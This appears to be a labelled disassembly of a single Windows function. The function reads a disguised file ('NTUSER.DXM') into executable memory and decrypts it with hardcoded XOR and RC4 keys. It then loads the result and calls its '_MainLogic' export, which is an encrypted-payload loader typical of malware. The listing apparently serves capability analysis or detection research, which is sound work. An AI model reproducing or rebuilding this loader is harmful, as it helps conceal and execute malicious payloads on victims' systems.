Function at 0x417530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x445963
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x248
mov eax, dword [0x45a880]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea esi, [ebp - 0x240]
mov dword [ebp - 0x240], 0x41b58ab3
shr esi, 3
mov eax, 0xf1f1
mov dword [ebp - 0x23c], str.7_16_264_3_rc4_32_4_11_hFileHandle_48_4_4_Buff_64_4_10_dwFileSize_80_16_6_rc4Key_96_16_6_xorKey_112_8_18_compiler_temporary
mov dword [ebp - 0x238], fcn.00417530
push 0x21
mov word [esi + 0x30000000], ax
add esi, 0x30000002
push esi
call sub.clang_rt.asan_dynamic_i386.dll___asan_set_shadow_00
mov dword [esi + 0x21], 0xf2f2f2f2
add esp, 8
mov dword [esi + 0x25], 0xf204f204
mov eax, 0xf3f3
mov dword [esi + 0x29], 0xf204
mov ecx, 0x45d0f3
mov dword [esi + 0x2d], 0xf2f2f2f2
mov dword [esi + 0x31], 0xf2f20000
mov dword [esi + 0x35], 0xf3f8f2f2
mov word [esi + 0x39], ax
mov byte [esi + 0x3b], 0xf3
call fcn.00424468
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.C:Program_FilesNTUSER.DXM
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0x108], edi
mov dword [ebp - 4], 0
test edi, edi
jne 0x41762d
mov eax, 0x447dc0
jmp 0x417642
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x4c], eax
test eax, eax
jne 0x417662
mov eax, 0x447e00
push eax
push 0x45baf0
call fcn.00417ef0
push eax
call fcn.00418ba0
add esp, 0xc
mov dword [ebp - 0x44], 0
jmp 0x4179c1
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0xf8], esi
mov byte [ebp - 4], 1
test esi, esi
jne 0x41768c
mov eax, 0x447e40
jmp 0x417986
push 0
lea eax, [ebp - 0xe8]
push eax
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xf8]
call fcn.0041dea0
push eax
lea ecx, [ebp - 0x108]
call fcn.0041dea0
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4176c4
mov eax, 0x447e80
jmp 0x417986
lea eax, [ebp - 0x230]
shr eax, 3
add eax, 0x30000000
push 0x21
push eax
call sub.clang_rt.asan_dynamic_i386.dll___asan_set_shadow_00
add esp, 8
mov dword [ebp - 0xd8], 0x14537221
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0xd4], 0xb8a79685
mov dword [ebp - 0xd0], 0xfcebdac9
mov dword [ebp - 0xcc], 0x302f1e0d
mov dword [ebp - 0xa8], 0xd3274b9f
mov dword [ebp - 0xa4], 0x2acd8e51
mov dword [ebp - 0xa0], 0x56a13cbf
mov dword [ebp - 0x9c], 0x3d9a78e4
call fcn.0041dea0
cmp dword [ebp - 0x4c], 0
mov dword [ebp - 0x38], eax
jbe 0x4177ee
mov esi, dword [ebp - 0x4c]
xor edi, edi
nop word [eax + eax]
lea ecx, [edi + eax]
mov edx, edi
and edx, 0xf
mov dword [ebp - 0x40], ecx
lea eax, [ebp - 0xa8]
add edx, eax
mov eax, ecx
shr eax, 3
mov dword [ebp - 0x3c], edx
mov ah, byte [eax + 0x30000000]
test ah, ah
je 0x417789
mov al, cl
and al, 7
cmp al, ah
jl 0x417789
push ecx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_load1
mov edx, dword [ebp - 0x3c]
add esp, 4
mov eax, edx
shr eax, 3
mov cl, byte [eax + 0x30000000]
test cl, cl
je 0x4177a9
mov al, dl
and al, 7
cmp al, cl
jl 0x4177a9
push edx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_load1
add esp, 4
mov ecx, dword [ebp - 0x40]
mov eax, ecx
shr eax, 3
mov dl, byte [eax + 0x30000000]
test dl, dl
je 0x4177cf
mov al, cl
and al, 7
cmp al, dl
jl 0x4177cf
push ecx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_store1
mov ecx, dword [ebp - 0x40]
add esp, 4
mov eax, dword [ebp - 0x3c]
inc edi
mov al, byte [eax]
xor byte [ecx], al
mov eax, dword [ebp - 0x38]
cmp edi, esi
jb 0x417750
mov esi, dword [ebp - 0xf8]
mov edi, dword [ebp - 0x108]
push 0x10
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x130], 0
push eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x12c], 0
call fcn.0041b0b0
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x230]
push dword [ebp - 0x38]
call fcn.0041ada0
lea eax, [ebp - 0x230]
shr eax, 3
add eax, 0x30000000
push 0x21
push eax
call sub.clang_rt.asan_dynamic_i386.dll___asan_set_shadow_f8
add esp, 8
lea ecx, [ebp - 0xf8]
call fcn.0041dea0
push eax
call fcn.0040e850
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x417862
mov eax, 0x447ec0
jmp 0x417986
lea eax, [ebp - 0x78]
shr eax, 3
push 0x447f00
push 0x45ba30
mov byte [eax + 0x30000000], 0
call fcn.00417a70
mov edx, eax
add esp, 8
mov ecx, edx
mov dword [ebp - 0x48], edx
shr ecx, 3
mov cl, byte [ecx + 0x30000000]
test cl, cl
je 0x4178ab
mov al, dl
and al, 7
add al, 3
cmp al, cl
jl 0x4178ab
push edx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_load4
mov edx, dword [ebp - 0x48]
add esp, 4
mov ecx, dword [edx]
add ecx, 4
mov eax, ecx
mov dword [ebp - 0x34], ecx
shr eax, 3
mov ah, byte [eax + 0x30000000]
test ah, ah
je 0x4178db
mov al, cl
and al, 7
add al, 3
cmp al, ah
jl 0x4178db
push ecx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_load4
mov edx, dword [ebp - 0x48]
add esp, 4
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea eax, [ebp - 0x78]
add ecx, edx
push eax
call fcn.0041dee0
push eax
mov byte [ebp - 4], 2
call fcn.00418ca0
mov edx, eax
add esp, 4
mov ecx, edx
mov dword [ebp - 0x30], edx
shr ecx, 3
mov cl, byte [ecx + 0x30000000]
test cl, cl
je 0x41791f
mov al, dl
and al, 7
add al, 3
cmp al, cl
jl 0x41791f
push edx
call sub.clang_rt.asan_dynamic_i386.dll___asan_report_load4
mov edx, dword [ebp - 0x30]
add esp, 4
mov eax, dword [edx]
mov ecx, edx
push 0xa
mov eax, dword [eax + 0x20]
call eax
lea ecx, [ebp - 0x78]
mov byte [ebp - 0x2c], al
mov byte [ebp - 4], 1
call fcn.0041a770
push dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x48]
call fcn.0041e170
mov ecx, dword [ebp - 0x48]
call fcn.0041d840
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x78]
shr eax, 3
push str._MainLogic_0
push esi
mov byte [eax + 0x30000000], 0xf8
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x44], eax
test eax, eax
jne 0x4179a3
push esi
call fcn.00402ca0
mov edi, dword [ebp - 0x108]
mov eax, 0x447f80
mov esi, dword [ebp - 0xf8]
push eax
push 0x45baf0
call fcn.00417ef0
push eax
call fcn.00418ba0
add esp, 0xc
mov dword [ebp - 0x44], 0
jmp 0x4179af
mov edi, dword [ebp - 0x108]
mov esi, dword [ebp - 0xf8]
test esi, esi
je 0x4179c1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test edi, edi
je 0x4179d1
cmp edi, 0xffffffff
je 0x4179d1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0x45e0360e
shr eax, 3
add eax, 0x30000000
push 0x3e
push eax
call sub.clang_rt.asan_dynamic_i386.dll___asan_set_shadow_00
mov eax, dword [ebp - 0x44]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0042449a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret